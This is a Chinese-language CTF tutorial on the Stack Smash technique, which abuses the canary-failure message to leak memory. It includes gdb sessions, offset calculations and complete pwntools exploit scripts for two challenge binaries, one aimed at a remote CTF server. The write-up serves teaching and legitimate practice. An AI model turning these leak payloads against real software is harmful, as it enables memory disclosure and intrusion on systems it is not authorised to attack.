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淺析ROP之Stack Smash

責編：gltian ｜2018-10-09 15:15:20

0x00 前言

Stack Smash 技巧算是 ROP 中一種比較巧妙的利用吧，在 ctf-wiki 上也說到了這個技巧。但是看完了也感覺是懵懵懂懂的，所以這里結合例子再做一個更細致的總結，涉及到的基本知識也會比較多。

0x01 預備知識

1.Linux的環境變量（environ）

第一種獲取環境變量的方法是使用getenv函數：

getenv能通過傳入鍵名的方法獲取到值

例如對于環境變量?LC_PAPER=zh_CN.UTF-8，getenv(“LC_PAPER”)就可以獲取到他的值。

關于環境變量的詳細解釋可以看這里：
http://tacxingxing.com/2017/12/16/environ/

區別于第一種只能獲取單個的環境變量，另一種方式是使用environ 變量來獲得所有的環境變量的值

environ 變量作為一個指針指向了環境變量的字符指針數組的首地址。

這里就簡單演示一下 environ 變量的使用方法：

#include <unistd.h>  
#include <stdio.h>
extern char **environ;  

int main(){  
  char **env = environ;  

  while(*env){  
    printf("%sn",*env);  
    env++;  
  }  
  exit(0);  
}

將這段代碼編譯運行以后，可以看到將當前的環境變量全部打印出來了。

這里我們只要知道 environ 變量的實際地址是指向棧的基地址（高地址）就行了。

2.canary 保護

Canary保護機制的原理，是在一個函數入口處從fs段內獲取一個隨機值，一般存到EBP – 0x4(32位)或RBP – 0x8(64位)的位置。如果攻擊者利用棧溢出修改到了這個值，導致該值與存入的值不一致，__stack_chk_fail函數將拋出異常并退出程序。

也就是在當前函數的 EBP 和輸入點插入一個 “cookie” 信息，如果在棧溢出時將這個值覆蓋了，程序就會拋出錯誤。

詳細的介紹和繞過可以看這里

0x02 Stack Smash

在程序加了canary 保護之后，如果我們讀取的 buffer 覆蓋了對應的值時，程序就會報錯，而一般來說我們并不會關心報錯信息。而 stack smash 技巧則就是利用打印這一信息的程序來得到我們想要的內容。這是因為在程序啟動 canary 保護之后，如果發現 canary 被修改的話，程序就會執行 __stack_chk_fail 函數來打印出 argv[0] 指針所指向的字符串

我們通過Stack Smash的源碼來分析一下：

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

stack_chk_fail 函數中調用了?fortify_fail 函數，并傳入 msg：
stack smashing detected

之后對msg在 libc_message 函數中輸出，這個函數還把 libc_argv[0] 作為參數輸出了。這個參數其實就是 argv[0] ，在命令行中也就是程序名

在程序執行時， argv[0] 會放在棧中，利用棧溢出可以將這個值覆蓋為 got 表中的值，在執行 __stack_chk_fail 函數時，利用輸出信息就可以輸出我們想要的 got 表信息，又給了 libc 庫，進而可以得到 libc 的基地址。

得到基地址之后，我們可以進一步利用，輸出棧地址以及棧中的信息。

0x03 例題

這里拿一道網鼎杯的 pwn1-GUESS 來講解。

IDA中的題目代碼

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@9
  __int64 v4; // rcx@13
  __WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1
  int v6; // [sp+1Ch] [bp-84h]@5
  __int64 v7; // [sp+20h] [bp-80h]@1
  __int64 v8; // [sp+28h] [bp-78h]@1
  char buf; // [sp+30h] [bp-70h]@4
  char s2; // [sp+60h] [bp-40h]@6
  __int64 v11; // [sp+98h] [bp-8h]@1

  v11 = *MK_FP(__FS__, 40LL);
  v8 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v7 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v7 >= v8 )
    {
      puts("you have no sense... bye :-) ");
      result = 0LL;
      goto LABEL_13;
    }
    v6 = sub_400A11();
    if ( !v6 )
      break;
    ++v7;
    wait(&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  result = 0LL;
LABEL_13:
  v4 = *MK_FP(__FS__, 40LL) ^ v11;
  return result;
}

運行程序，程序會接收三次的輸入。
很明顯在gets函數處存在棧溢出，但是我們用 checksec（pwntools自帶）檢查的時候，發現存在 canary 保護，但是沒有PIE保護（堆棧地址空間隨機化）。

這邊在反匯編代碼可以看到在 main 函數結束時檢查了 canary 的值，與 rcx 進行比較，?canary 的值是放在 fs 寄存器中的，理論上我們是不能正常查看了。

.text:0000000000400B8D loc_400B8D:                             ; CODE XREF: main+11Aj
.text:0000000000400B8D                 mov     rcx, [rbp+var_8]
.text:0000000000400B91                 xor     rcx, fs:28h
.text:0000000000400B9A                 jz      short locret_400BA1
.text:0000000000400B9C                 call    ___stack_chk_fail

所以這里除非用爆破出 canary 值，否則就無法正常泄露得到他的值，但是我們可以使用上面說的 Stack Smash 技巧。

解題思路

我們這里一步步來。

1.先 leak 出libc的基地址

要泄露出 libc 的基地址就要獲得某個函數在 got 表中的地址。這里的 got 表中的地址就用 Stack Smash 這個技巧來獲得。

首先用 gdb 在 gets 函數處下一個斷點

b *0x400b23

單步 n 之后，輸入一堆 aaa

這里為了測試在本地新建了一個 flag 文件，可以看到按照程序的正常流程走下去，此時 flag 已經被讀取到棧上了

然后使用?stack 20?這個命令來查看棧上的信息。

可以看到此時?0x7fffffffdf38?這個棧地址存儲的是 argv[0] 的值，也就是我們需要利用的值。

我們輸入的值（aaa…）是位于?0x7fffffffde10?的地址處，計算得到輸入到 argv[0] 的距離：

總共是 296 個字節，也就是 0x128 的十進制的值。

所以我們可以構造 payload ，此時 libc_start_main_got 的值就是我們需要泄露的 argv[0] 的值：

payload = 'a' * 0x128 + p64(libc_start_main_got)

得到的值需要用 u64 函數進行解包（需要8個字節），所以需要用 ljust 進行左填充到8個字節。

將得到的 got 表的真實地址減去 __libc_start_main 函數在 libc 庫中的偏移地址就得到了 libc 的基地址了。

第一步的exp：

from pwn import *

#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else:   #remote
        libc = ELF('libc-2.23.so')
libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']

p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)

p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))

libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)

2.leak 出棧的地址

這里為什么要 leak 出棧的地址呢？是因為程序沒有開啟PIE保護，所以 environ 變量中存放的棧地址的值和 flag 的距離是不變的，我們如果得到了棧地址以后，算一下與 flag 的距離就可以 leak 出 flag 的值了。

根據上面所說的，要 leak 出棧的地址直接 leak 出?environ 變量的值就行。

所以這里根據得到 libc 的基地址加上 environ 變量在 libc 庫中的偏移就可以得到棧的地址。

exp如下：

environ_addr = libc_base_addr + libc.symbols['_environ']

payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)

p.recvuntil('stack smashing detected ***: ')

stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
print "stack: "+hex(stack_addr)

這里的 symbols 方法的鍵為 environ 或者 _environ 都是一樣的結果

如圖，這樣我們就得到棧的地址了。

這里我在本地加載的 libc 庫和遠程的不同，所以地址會有所差異。但是這里有個小技巧即可以根據 libc 基地址后三位是否為0來判斷 libc 的基地址是否正確。

3.leak 出 flag 的值

還是在 gdb 中的調用 gets 函數處下斷點。

b *0x400b23

依舊是先?stack 20?輸出一下棧信息，可以看到我們需要的 flag 的地址是

0x7fffffffdd30

使用?b *environ?直接可以查看當前 environ 變量地址中存放的值（也就是棧的地址），再計算棧地址到 flag 的距離

在 gdb 中，看到了當前的棧地址為：0x7fffffffde98

gdb-peda$ b * environ
Breakpoint 2 at 0x7fffffffde98

所以可以計算出兩者的距離為 0x168：

gdb-peda$ print 0x7fffffffde98 - 0x7fffffffdd30
$1 = 0x168

這里是固定為 0x168 ，如果不信的話可以在 gdb 中多調試幾次。

也就是說下次 leak 的時候，要得到 flag 的值，直接使用棧的地址減去 0x168 就得到了 flag 的地址，再利用一次 Stack Smash 技巧泄露出 flag 的地址的值就行了。

也就是：

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)

運行exp得到flag。

最后的exp：

from pwn import *

#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else:   #remote
        libc = ELF('libc-2.23.so')


libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']

p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)

p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))

libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)

environ_addr = libc_base_addr + libc.symbols['_environ']

payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)

p.recvuntil('stack smashing detected ***: ')

stack_addr = u64(p.recv(6).ljust(0x8,'x00'))


print 'stack base addr: ' + hex(stack_addr)

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)

p.recvuntil('Please type your guessing flag')
p.sendline(payload2)

p.interactive()

other

這里還有一道例題也是關于 Stack Smash 的（Smashes）
題目鏈接：https://www.jarvisoj.com/challenges

checksec

依舊先檢查一下程序的保護機制：

滿足 Stack Smash 的使用條件：

canary protect
No PIE

IDA代碼

在 _IO_gets 函數處存在棧溢出，還是按照套路來：在gdb中查看與 argv[0] 的偏移

輸出與 argv[0] 偏移為 0x218

gdb-peda$ print 0x7fffffffde88 - 0x7fffffffdc70
$2 = 0x218

構造payload

payload = 'a' * 0x218 + p64(需要泄露的地址)

仔細看程序有一個 flag 的提示，也就是這個 flag 是在服務端的

在 gdb 中?find CTF，發現了兩處的 flag，我們傳入上一處的地址

關于為什么這么傳入，可以看這里：
https://blog.csdn.net/github_36788573/article/details/80693994

最后的exp：

from pwn import *

context.log_level = 'debug'
LOCAL = 0
if LOCAL:
        r = process('./smashes')
else:
        r = remote('pwn.jarvisoj.com',9877)

payload = 'a' * 0x218 + p64(0x400D20)

r.recvuntil("Hello!nWhat's your name? ")

r.sendline(payload)

r.interactive()

0x04 總結

Stack Smash 的適應條件：

開啟了 canary 保護
讀取了關鍵信息（flag）到棧上，但是沒有開啟 PIE 保護

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